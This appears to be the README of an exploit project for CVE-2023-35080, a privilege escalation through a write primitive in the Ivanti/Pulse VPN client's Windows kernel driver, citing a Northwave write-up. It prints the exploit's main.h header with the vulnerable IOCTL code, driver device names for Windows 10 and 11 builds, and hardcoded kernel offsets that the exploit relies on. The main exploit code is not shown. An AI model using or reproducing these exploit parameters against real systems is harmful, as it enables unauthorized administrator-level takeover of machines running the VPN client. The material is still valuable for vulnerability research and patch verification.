Code related to the exploitation of the CVE-2023-35080 which leverages a write primitive in the Ivanti/Pulse VPN client kernel driver in Windows.
The write primitive conducts to a privilege escalation.
The exploit was built with the help of the technical details shared in the following article : https://northwave-cybersecurity.com/ivanti-pulse-vpn-privilege-escalation.
Some details are hardcoded under the main.h file :
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <winternl.h>
#define VULN_IOCTL 0x80002018
////////
/*
* jnprTdi_9115_15819 W10
*/
// #define DEVICE_NAME_W L"jnprTdi_9115_15819"
// // KxWaitForSpinLockAndAcquire
// #define SPIN_OFFSET 0x300ea0
// // KxTryToAcquireSpinLock
// #define TRY_SPIN_OFFSET 0x361758
// // void write_char(byte param_1,byte **param_2,int *param_3)
// #define WRITE_CHAR_OFFSET 0x3d5878
////////
/*
* jnprTdi_9117_18209 W11
*/
#define DEVICE_NAME_W L"jnprTdi_9117_18209"
// KxWaitForSpinLockAndAcquire
#define SPIN_OFFSET 0x300e9e
// KxTryToAcquireSpinLock
#define TRY_SPIN_OFFSET 0x361757
// void write_char(byte param_1,byte **param_2,int *param_3)
#define WRITE_CHAR_OFFSET 0x3d93f8
////////
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